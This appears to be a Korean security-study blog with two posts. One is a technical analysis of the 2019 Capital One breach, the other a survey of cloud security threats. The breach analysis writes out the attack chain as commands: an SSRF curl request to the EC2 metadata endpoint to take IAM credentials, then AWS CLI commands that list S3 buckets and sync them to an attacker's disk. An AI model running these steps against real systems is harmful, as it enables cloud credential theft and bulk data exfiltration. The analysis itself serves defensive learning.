꼰머의 보안공부

1. 개요

- 2019.07.29 미국의 금융지주회사인 캐피탈 원(Capital One)이 해킹으로 인해 1억 6000만 명의 고객 개인정보가 유출

- 캐피탈 원은 해킹으로 인해 1억 5000만 달러의 피해가 발생 (당시 환율 기준 약 1773억 원)

- 유출된 개인정보는 2005~2019 초까지 신용카드를 신청한 고객들의 정보로 이름, 주소, 생년월일 등의 신상정보와 신용 점수 및 한도, 예금 잔액 등의 금융정보가 포함

- 그 외 2016~2018 중 23일간의 거래 내역, 14만명의 사회보장번호, 8만개의 계좌번호도 유출

- 캐피탈 원은 해킹 흔적 발견 직후 수사당국에 신고하였으며, FBI는 용의자로 시애틀에 위치한 IT 기업의 소프트웨어 엔지니어 페이지 톰슨을 검거

- 톰슨은 2016년 AWS에서 시스템 엔지니어로 근무한 이력이 있음

1.1 요약

- 공격자는 SSRF 취약점을 이용해 AWS EC2 메타데이터 서비스에 엑세스하여 AWS 액세스 키에 접근

- 대상 애플리케이션이 WAF 뒤에 위치했지만, Bypass가 사용되었거나 WAF가 공격을 차단하도록 구성되지 않았음

- 키를 이용해 공격자는 로컬 디스크에 S3 버킷을 나열 및 동기화하여 버킷에 포함된 모든 데이터에 엑세스가 가능해짐

※ EC2 (Elastic Compute Cloud): 아마존에서 크기 조정이 가능한 컴퓨팅 용량을 제공하는 웹 서비스

※ S3 (Simple Storage Service): 클라우드 공간에 데이터(파일)를 저장하고 사용자에게 제공해 주는 온라인 스토리지 웹 서비스

※ S3 버킷(Bucket): S3에서 연관된 객체들(데이터들)을 그룹핑한 최상위 디렉토리

1.2 SSRF (Server Side Request Forgery)

- 2021에 발표된 OWASP TOP 10에 신설된 항목 

- 서버 측에서 위조된 요청을 보내도록 하여 일반적으로 사용자들이 접근할 수 없는 내부 자원에 접근하여 악성행위가 가능한 취약점

- 즉, 취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 전송하여 정보를 탈취하는 공격 유형

2. 분석

2.1 SSRF를 이용한 AWS 자격 증명 탈취

- AWS에서 작동되는 EC2에서만 메타데이터 서비스(hxxp://169.254.169.254)에 엑세스가 가능함

- 일반적으로 해당 URL은 VM의 IP 주소, AWS 네트워크 내 배치, 호스트 이름 등의 정보를 HTTP API로 제공하며 AWS 클라우드 애플리케이션 개발자에게 매우 유용하게 사용됨

- 공격자는 SSRF를 통해 서버를 자신의 요청에 대한 프록시로 취급하도록 서버를 속여 내부망의 엔드포인트에 엑세스

2.2 권한 상승

- 공격자는 위 SSRF 공격 결과와 AWS EC2 서버가 임시 크리덴셜이 포함된 엔드포이트에 엑세스할 수 있다는 지식을 결합하여 다음 URL에 대한 요청을 전송

hxxp://169.254.169.254/iam/security-credentials

- 엔드포인트의 반환 목록 중 “ISRM-WAF-Role”를 통해 엑세스한 서버가 캐피탈 원의 WAF일 것이라고 추측

- 공격자는 "ISRM-WAF-Role”를 이용해 SSRF 공격을 사용하였고, 엔드포인트는 자격 증명 세트를 반환함

<요청>
curl hxxp://example.com/?url=hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

<응답>
{ 
    AccessKeyId: "<액세스 키>", 
    SecretAccessKey: "<비밀 키>", 
}

- 인스턴스 메타데이터를 통해 연결된 IAM 역할에 대한 AWS 자격 정보를 요청할 때 응답은 다음과 같은 형식을 지님

2.1.1 자격 증명 추가

- 공격자는 "aws configure" 명령을 사용해 [사진 3]에서 확인된 자격 증명 데이터를 로컬 AWS CLI에 추가

- 또한, 텍스트 편집기를 이용해 [사진 3]에서 확인된 토큰을 환경변수 또는 ~/.aws/credentials 파일의 aws_session_token에 등록

2.3 S3의 데이터에 엑세스

- 자격 증명 추가 후 아래 명령으로 AWS STS를 호출해 자격 증명을 확인하여 올바르게 설정되었는지 확인

- 해당 명령은 사용자 ID, 계정 번호 및 ARN(Amazon 리소스 번호)를 출력함

- 명령: aws sts get-caller-identity –profile example

※ Linux 시스템에서 현재 사용자의 이름을 출력하는 명령어인 whoami 명령

{
    "UserId": "AROA5A6IYBDLAKYYJCQQQ:i-07160cbf7c64abcdef9",
    "Account": "0070074815830",
    "Arn": "arn:aws:sts::0070074815830:assumed-role/ISRM-WAF-Role/i-07160cbf7c64abcdef9"
}

- 훔친 키와 토큰으로 AWS CLI를 설정한 후 명령을 통해 계정에서 사용 가능한 S3 버킷을 나열

- 명령: aws s3 ls --profile example

- 공격자는 sync 명령으로 700개 정도의 S3 버킷의 내용을 다운로드

- 명령: aws s3 sync s3://bucket-credit-card-numbers /home/attacker/localstash/capitalone/ --profile example

3. 문제점

3.1 조사 중 확인된 문제점

① 사용자 데이터를 처리하는 과정에서 적절한 검증없이 서버에 입력값 전달

- 입력값에 대한 부적절한 검증으로 웹 응용 프로그램에서 SSRF 취약점이 이용됨

② 잘못된 구성된 역할 및 권한에 따른 불필요 권한 제공

- ISRM-WAF-Role이 필요하지 않은 상황에도 IAM 자격 증명을 반환함

③ 암호화 부재

- AWS S3 데이터 스토리지는 암호화되지 않음

④ 모니터링 부재

- IAM 및 AWS STS API 호출과 민감한 데이터 특성을 고려한 S3 읽기/쓰기에 대한 모니터링

3.2 보고된 Cloud 취약점

① 클라우드 설정 오류 때문에 발생하는 보안 사고는 아직도 지나치게 많은 수준

> 과도한 권한 부여, 잘못된 보안 설정 등

② SSRF는 Cloud 환경에 오래전부터 알려진 위협

> RSA Conference 2015에서 SSRF 취약점을 활용한 API 키 및 자격 증명 데이터 탈취 발표

4. 보안 권장 사항

① 각 애플리케이션, EC2 인스턴스 또는 자동 확장 그룹에 고유한 IAM의 존재 확인

> 관련 없는 애플리케이션 간 역할 공유 금지

② 과도한 권한 설정 금지

> 필요한 AWS 리소스에만 엑세스할 수 있도록 각 역할의 권한 설정

③ 접근 통제

> 허가된 IP 또는 VPC 엔드포인트에 대한 접근 통제

④ 모니터링

> 전사 차원의 AWS CloudTail 활성화 여부 점검 및 로그 모니터링

5. 참고

[1] https://www.capitalone.com/digital/facts2019/
[2] https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea
[3] https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af
[4] https://www.techtarget.com/searchsecurity/news/252467901/Capital-One-hack-highlights-SSRF-concerns-for-AWS
[5] https://www.justice.gov/usao-wdwa/press-release/file/1188626/download
[6] https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
[7] https://www.itworld.co.kr/news/129854
[8] https://it.chosun.com/site/data/html_dir/2019/07/31/2019073101186.html
[9] https://zdnet.co.kr/view/?no=20190816173209
[10] https://www.boannews.com/media/view.asp?idx=107662

1. 개요

- 클라우드에 대한 의존도가 높아질수록 보안 팀들에게는 어려워짐

- 데이터를 스스로 관리하는 것이 아닌 외부에 위치시키기 때문

- 현재 기업들은 평균 2000개의 클라우드 서비스를 사용하는 것으로 조사

- 클라우드 상에서 발생가능한 사고의 예방과 후속 대처를 모두 신경 써야할 필요

2. 위협

2.1 서드파티 소프트웨어와 공급망의 위험

- 서드파티란, 제3자라는 뜻으로 원천기술과 호환되는 상품을 출시하거나 해당 기술을 이용한 파생상품을 생산하는 회사를 의미

- 많은 기업들이 정보를 클라우드에 보관하며, 서드파티에게 클라우드 접근 권한을 부여함

- 기업의 IT환경에서 파트너사들은 계약을 통해 내부 네트워크와 데이터에 접근이 가능하며, 서드파티를 보안 장비에서 예외 적용할 가능성이 존재

- 공격자들은 피해 기업을 공격하는 대신 서드파티를 공격함으로써 동일한 피해를 유발할 수 있음

- 즉, 클라우드에 대한 서드파티의 관리 실수가 침해사고로 이어질 수 있음

2.2 랜섬웨어

- 많은 기업들이 인프라와 데이터 등을 클라우드로 옮기는 중

- 공격자들은 계속해서 새로운 랜섬웨어를 만들어내고, 클라우드 서비스를 대상으로하는 랜섬웨어를 만들기 시작

- 클라우드용 랜섬웨어와 클라우드를 협박하는 새로운 전술들도 등장

- 크게 3가지 종류로 나뉠 수 있음

① 클라우드와 연동된 파일 공유 서비스를 대상으로 한 랜섬웨어

② 클라우드 기반 이메일 서비스를 대상으로 피싱 메일 유포하여 계정 탈취 후 랜섬웨어 유포

③ 클라우드 호스팅 업체 자체를 대상으로 한 랜섬웨어

2.3 APT

- 클라우드는 기업의 네트워크와 맞물려 동작하기에 APT 공격 대상이 되기도함

- APT 단체 팬시베어(Fancy Bear), 코지베어(Cozy Bear), 가돌리늄(Gadolinium) 등은 이미 클라우드 인프라를 활용

- APT 단체들이 노릴 만한 것들이 점점 더 클라우드 환경에 많아지고 있음

- 클라우드 확보 후 이를 바탕으로 각종 공격을 손쉽고 효율적으로 수행하는 트렌드

2.4 멀티클라우드의 확산

- 클라우드 서비스를 도입할 때 여러 클라우드를 도입

- 멀티클라우드를 도입한 회사는 통계 마다 다르나 절반을 넘어선 수치를 기록

- 멀티클라우드 증식(multicloud sprawl) 문제: 클라우드 하나로도 복잡한 아키텍쳐로, 이것이 중첩되어 발생하는 일종의 복잡성 문제

- 데이터가 돌아다니고 저장되는 영역이 훨씬 많아져 추적하고 관리하는 게 힘들어지는 문제

- 또한, 클라우드마다 로깅 방식, 보안 옵션 등의 차이가 있으며, 데이터의 표준 포맷이 존재하지 않음

- 클라우드 보안의 핵심사안은 가시성으로, 멀티클라우드 환경으로 옮겨갈 경우 가시성 확보가 어려워지거나 불가능해짐

2.5 셰도우 데이터

- 셰도우 데이터(shadow data): 불필요하게 복제되거나 불필요한 곳에 저장된 채 관리 받지 못하고 잊혀진 데이터

- 다크 데이터(dark data) 혹은 고스트 데이터(ghost data)라고 부름

- 클라우드 환경으로 전환하면서 어떤 데이터가 어떻게 중복되거나 사라지거나 잊혀질 지 알지못함

2.6 클라우드 내의 과도한 권한 허용

- 클라우드의 장점 중 하나는 IT 관리자들이 사용자들에게 권한을 편리하게 부여할 수 있다는 것

- 필요에 따라 필요한 만큼의 권한을 부여해야 하지만 매번 변경하는것 또한 어려운 일

- 클라우드를 사용하려는 경우 권한에 관한 문제 해결이 무조건적으로 필요

2.7 휴먼에러

- 보안분야에서 휴먼에러는 이미 널리 알려진 문제

- 특히 클라우드와 관련된 보안 사고 중 가장 많은 비율을 차지

- 클라우드의 구축과 활용이 꽤나 쉽다는 사실이 상황을 악화시키는 중

- 누가 어떤 상황에서 실수할지 예측할 수 없으며, 실수가 어느정도의 파급력을 가져올지도 알 수 없음

- 보안 솔루션에 의존하지 않고 끊임없는 보안 교육의 필요성